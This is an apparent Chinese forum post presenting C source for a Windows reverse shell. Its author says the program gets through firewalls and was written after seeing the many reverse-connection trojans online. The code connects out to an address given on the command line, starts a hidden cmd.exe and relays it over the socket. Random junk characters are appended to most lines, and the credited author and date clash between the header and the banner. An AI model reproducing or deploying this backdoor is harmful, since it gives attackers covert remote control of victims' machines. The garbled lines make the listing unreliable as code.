这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 n@n608
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/* ============================== u>c\J|K_V
Rebound port in Windows NT 9rXbv4{
By wind,2006/7 w}+#w8hu
===============================*/ 7jvy]5y8&~
#include 8 2qf7`
#include NbOeF7cq+
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#pragma comment(lib,"wsock32.lib") \{r-e
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void OutputShell(); t`NZ_w /
SOCKET sClient; !wiW#PR
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ?CO\jW_
*n
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void main(int argc,char **argv) 2WQKj9iyN
{ :$k':0 n
WSADATA stWsaData; .N2yn`
int nRet; HR)Dz~Obw
SOCKADDR_IN stSaiClient,stSaiServer; Oop5bg
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if(argc != 3) <!b~7sZkTc
{ }$M 2XF
printf("Useage:\n\rRebound DestIP DestPort\n"); ' =MaO@ @
return; MuNM)pyxp
} 5`qt82Qm
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,M2u (9
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lv
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stSaiClient.sin_family = AF_INET; AA][}lU:5
stSaiClient.sin_port = htons(0); z _qy>
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); .5Y%I;~v
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *hVbjI$
{ GC?X>AC:
printf("Bind Socket Failed!\n"); I9O9V[
return; RmS|X"zc
} Z(Da?6#1
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stSaiServer.sin_family = AF_INET; sYV7t*l
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); fw>@:m_bK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !iKR~&UpAL
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JQ{g'cT
{ ,w~0U
printf("Connect Error!"); rM<lPMr1*
return; mk>L:+
} -H1mKZDPP
OutputShell(); 6#~"~WfPQ
} o`?0D)/O
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void OutputShell() \s<7!NAE4
{ 7#n<d879e%
char szBuff[1024]; oI=7X*B9
SECURITY_ATTRIBUTES stSecurityAttributes; <S~_|Y*v
OSVERSIONINFO stOsversionInfo; n}==
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (IXiwu
STARTUPINFO stStartupInfo; ^l1tQnj)7
char *szShell; =H*}{'#
PROCESS_INFORMATION stProcessInformation; F#=XJYG1
unsigned long lBytesRead; t~pA2?9@
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); `@GqD
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z09FW>"u
stSecurityAttributes.lpSecurityDescriptor = 0; K/RQ-xd4
stSecurityAttributes.bInheritHandle = TRUE; jvx9b([<sG
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M=[ /v/M=
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2m.RM&TdB
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); i^P@?
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZJ(/cD
stStartupInfo.wShowWindow = SW_HIDE; Z=%+U _,
stStartupInfo.hStdInput = hReadPipe; * d6[kY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xGbr>OqkTX
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GetVersionEx(&stOsversionInfo); Ke-Q>sm2Q
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switch(stOsversionInfo.dwPlatformId) z9:@~3k.
{ $iQ>c6
case 1: \~xI#S@
szShell = "command.com"; kg[u@LgvoN
break; Ke[doQ#c
default: .(o]d{ '-}
szShell = "cmd.exe"; Li ,B,
break; E_&Hje|J_[
} kTQ:k
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); CG'NC\x5
R`=3lY;
send(sClient,szMsg,77,0); 3nuf3)
while(1) 5zJkPki
{ VlW#_.
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Hv%(9)-8
if(lBytesRead) ln.kEhQ3B
{ 8D]:>[|E
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); r`u}n
send(sClient,szBuff,lBytesRead,0); rUfW0
} sh.xp8^)^>
else :1u>T3L.z
{ khT&[!J{>
lBytesRead=recv(sClient,szBuff,1024,0); ,CW]d#P|
if(lBytesRead<=0) break; &_FNDJ>MCk
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `;fh<kv
} \3K 6NA!L
} BmYU#h
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return; zjgK78!<
}